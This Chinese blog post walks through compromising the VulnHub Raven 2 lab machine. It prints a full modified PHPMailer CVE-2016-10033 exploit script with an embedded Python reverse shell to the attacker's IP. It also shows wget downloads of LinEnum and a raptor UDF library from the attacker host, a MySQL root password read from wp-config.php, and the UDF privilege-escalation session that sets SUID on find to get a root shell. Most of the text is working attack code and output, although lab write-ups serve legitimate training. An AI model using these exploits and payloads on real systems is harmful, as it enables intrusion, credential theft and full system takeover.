Raven: 2靶机入侵

野性酷女 2024-04-07 10:54 220阅读 0赞

0x00 前言

Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

0x01 存活主机

1.在windows上的scan ports工具对目标整个网段(192.168.1.0/24)进行扫描发现192.168.1.12就是目标靶机,并开放了80,22,111端口。

1c3416dfc297aeb515243886c881df6e.png

2.在linux下可通过arp-scan和netdiscover**命令进行主机存活探测,发现192.168.1.101**是目标靶机.

root@backlion#arp-scan -l

or

root@backlion#netdiscover -r192.168.1.0/24

3bcd8972fc12b3e2a9b5d6d38a9ad439.png

9d7e9a40565f35e1b08579ffeb6abad4.png

0x02 端口探测

1.通过namp对目标主机进行端口扫描

nmap -A192.168.1.12

fb0326fe1628d35b7c0f8d7fc15adcaa.png

2.发现22,80和111端口是开放的,其中80端口运行了一个web应用,可以通过入侵web进入系统,爆破22端口由于目标靶机设置的系统口令太强,这里不建议爆破。

cd0fc0c3c32b19cc72cfd09091facbc9.jpeg

0x02 目录猜解

1.在linux中可以使用dirb进行目录扫描

3d1ba2b0a6bb67b54aed4b1d7dea858d.png

2.同时也可以在windows上通过dirbuster进行目录扫描,更直观地看出目录结构。

8ea62fe283b7690c7732140bffd2bf45.png

3.扫到几个一级目录,一个个查看下文件的内容,在/vendor/目录下发现了两个有趣的东西:http://192.168.1.32/vendor/PATH,可以看到flag1和绝对路径

60cabd83285e0931f07951bf79d0601b.png

4.访问http://192.168.1.12/vendor/VERSION,发现某个软件的版本号,但不知道具体是那个软件。

c22a5d5ca62b75be759e95c2b8812696.png

同时目录下还存在一个PHPMailerAutoload.php的文件,配合起来看应该是使用了5.2.16版本的PHPMailer

0x03 反弹**SHELL**

1.在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp

root@kali2018:~# searchsploit phpmailer

-———————————————————————————————————————————————————————————— ————————————————————

Exploit Title | Path

| (/usr/share/exploitdb/)

-———————————————————————————————————————————————————————————— ————————————————————

PHPMailer 1.7 - ‘Data()’ Remote Denial of Service | exploits/php/dos/25752.txt

PHPMailer < 5.2.18 - Remote Code Execution (Bash) | exploits/php/webapps/40968.php

PHPMailer < 5.2.18 - Remote Code Execution (PHP) | exploits/php/webapps/40970.php

PHPMailer < 5.2.18 - Remote Code Execution (Python) | exploits/php/webapps/40974.py

PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) | exploits/multiple/webapps/41688.rb

PHPMailer < 5.2.20 - Remote Code Execution | exploits/php/webapps/40969.pl

PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - ‘AIO’ ‘PwnScriptum’ Remote Code Exe | exploits/php/webapps/40986.py

PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution | exploits/php/webapps/42221.py

PHPMailer < 5.2.21 - Local File Disclosure | exploits/php/webapps/43056.py

WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit) | exploits/php/remote/42024.rb

-———————————————————————————————————————————————————————————— ————————————————————

Shellcodes: No Result

9ff83e3a3a4ace669390dd4c08128679.png

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /opt

cd /opt

2、也可以到exploit-db.com搜索,并发现利用exp地址:

https://www.exploit-db.com/exploits/40974

3ebea31c2ae31f7ba601ab66dbfa1c55.jpeg

简单修改一下exp:

a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。

b.修改target为靶机IP地址,利用文件为contact.php。

c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。

d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。

e.运行该python脚本需要安装对应的包(pip install requests-toolbelt),如下地址下载并手动安装

https://files.pythonhosted.org/packages/86/f9/e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4/requests-toolbelt-0.8.0.tar.gz

638a6c331644e0dc45f8d822b97746e1.png

3.最终修改成的POC:

  1. # -*- coding: utf-8 -*-
  2. from requests_toolbelt import MultipartEncoder
  3. import requests
  4. import os
  5. import base64
  6. from lxml import html as lh
  7. os.system('clear')
  8. print("\n")
  9. print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
  10. print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
  11. print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
  12. print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
  13. print("██║██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
  14. print("╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝")
  15. print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
  16. print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")
  17. target = 'http://192.168.1.12/contact.php'
  18. backdoor = '/backlion.php'
  19. payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.1.11\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
  20. fields={
  21. 'action': 'submit',
  22. 'name': payload,
  23. 'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/backlion.php server\" @protonmail.com',
  24. 'message': 'Pwned'}
  25. m = MultipartEncoder(fields=fields,
  26. boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
  27. headers={
  28. 'User-Agent': 'curl/7.47.0',
  29. 'Content-Type': m.content_type}
  30. proxies = {
  31. 'http': 'localhost:8081', 'https':'localhost:8081'}
  32. print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
  33. r = requests.post(target, data=m.to_string(),
  34. headers=headers)
  35. print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
  36. r = requests.get(target+backdoor, headers=headers)
  37. if r.status_code == 200:
  38. print('[+]ExPLoITeD ' + target)

然后执行exp,可以看到生成了一个利用用文件contact.php

646246204a2c6e0a23f2f63c3edbfb58.jpeg

6.访问contact.php(http://192.168.1.12/contact.php),此时就会生成后门文件**shell.php**

2f546e9b300938c7663da835211761a2.jpeg

7.接着访问后门文件:http://192.168.1.12/shell.php

144923ee0d4fa78af645ae250d44003d.png

8.开启nc服务器监听,在服务器上得到反弹shell

ab46171f9d292f87b425d6c8963cac54.jpeg

9.进入到wordpress目录下的配置文件。然后查看其数据库配置连接信息

cd /var/www/html/wordpress

cat wp-config.php

3791001cf4730f6b39beabe104fa4b9d.png

05c636eeecbd76b01d8accc1000e4d07.png

10.查看一下mysql的运行权限(可以看到mysql是以root运行,并且也显示了mysql的plugin目录)

ps -ef|grep mysql

fad3133965fd4c2fffcae450a7d1f416.png

11.进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录

www-data@Raven:/var/www/html/wordpress$ mysql -u root -pR@v3nSecurity

7ad4cb8665ae09569431d4f8f6ef24e8.png

  1. nc模式下的shell不支持su交互,先利用python提升到伪终端

python -c “import pty;pty.spawn(‘/bin/bash’)”

进入到网站目录页面发现存在flag2.txt
cd /var/www

cat flag2.txt

cfb5f9b1899c9561c4fcb4e6712de911.jpeg

13.接下来直接先全局搜flag:

www-data@Raven:/var/www/html$ find / -name “flag*“

找到flag3,是图片,直接访问http://192.168.1.13/wordpress/wp-content/uploads/2018/11/flag3.png

6581fa54ac33794fe5fb32b1ff6d1b3f.png

14.然后切换到**/tmp目录,下载LinEnum.sh**脚本,该脚本是一个用于枚举许多基本和高级linux详细信息的脚本。

cd /tmp

wget http://192.168.1.109/LinEnum.sh

chmod 777 LinEnum.sh

./LinEnum.sh

f90f66c9ce82ae50169a45cdd443b89e.jpeg

我们发现了MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞!(更多信息:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)

e7f26912da7fa39728f149819955d3b2.jpeg

15.接着就是利用提权exp的利用了https://www.exploit-db.com/exploits/1518在攻击机KALI主机上进行编译生成so文件:

root@kali2018:~# wget http://192.168.1.5/raptor_udf.c #kali系统必须是64位系统,不然会报错

root@kali2018:~# gcc -g -c raptor_udf.c

root@kali2018:~# gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

ecd8d7803c10f8deaaff43d023b9c4a6.png

16.从攻击机上下载提权利用exp文件: raptor_udf2.so

www-data@Raven:/var/www/html/wordpress$ cd /tmp

www-data@Raven:/tmp$ wget http://192.168.1.11:8080/raptor\_udf2.so

5c44be752dcf4db4f46cdae5767b3442.png

然后通过mysql进行UDF提权(执行sql语句,其中dumpfile的路径要根据前面进程列出来的plugin目录(plugin-dir=/usr/lib/mysql/plugin)改动一下):

  1. mysql> use mysql;
  2. use mysql;
  3. Reading table information for completion of table and column names
  4. You can turn off this feature to get a quicker startup with -A
  5. Database changed
  6. mysql> create table foo(line blob);
  7. create table foo(line blob);
  8. Query OK, 0 rows affected (0.08 sec)
  9. mysql> insert into foo values(load_file('/tmp/raptor_udf.so'));
  10. insert into foo values(load_file('/tmp/raptor_udf.so'));
  11. Query OK, 1 row affected (0.01 sec)
  12. mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
  13. select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
  14. Query OK, 1 row affected (0.11 sec)
  15. mysql> create function do_system returns integer soname 'raptor_udf.so';
  16. create function do_system returns integer soname 'raptor_udf.so';
  17. Query OK, 0 rows affected (0.00 sec)
  18. mysql> select * from mysql.func;
  19. select * from mysql.func;
  20. +-----------+-----+---------------+----------+
  21. | name | ret | dl | type |
  22. +-----------+-----+---------------+----------+
  23. | do_system | 2 | raptor_udf.so | function |
  24. +-----------+-----+---------------+----------+
  25. 1 row in set (0.00 sec)
  26. mysql> select do_system('chmod u+s /usr/bin/find');
  27. select do_system('chmod u+s /usr/bin/find');
  28. +--------------------------------------+
  29. | do_system('chmod u+s /usr/bin/find') |
  30. +--------------------------------------+
  31. | 0 |
  32. +--------------------------------------+
  33. 1 row in set (0.01 sec)
  34. mysql> exit
  35. exit
  36. Bye
  37. www-data@Raven:/tmp$ touch finn
  38. touch finn
  39. www-data@Raven:/tmp$ id
  40. id
  41. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  42. www-data@Raven:/tmp$ find finn -exec "/bin/sh" \;
  43. find finn -exec "/bin/sh" \;
  44. # whoami
  45. whoami
  46. root
  47. #

4f936be28fcb548533d145f0cb862541.png

1d6c87d30561d35fa6084d08f10155b7.png

17.最后进入到root目录,可以查看到falg4.txt

# cd /root

cd /root

# ls

# cat flag4.txt

cat flag4.txt

___ ___ ___

| _ \__ ___ _____ _ _ |_ _|_ _|

| / _` \ V / -_) ‘ \ | | | |

|_|_\__,_|\_/\___|_||_|___|___|

flag4{df2bc5e951d91581467bb9a2a8ff4425}

7b1a14720bd6af01e31bf85c5eeee363.png

发表评论

表情:
评论列表 (有 0 条评论,220人围观)

还没有评论,来说两句吧...

相关阅读

    相关 Raven: 2靶机入侵

    0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后,Raven Security采取了额外措施来增强他们的

    相关 Zoundry Raven

    换了一个写博软件:《Zoundry Raven》。据说在国外很火的,测试一下。。。 转载于:https://www.cnblogs.com/andyfurong/archiv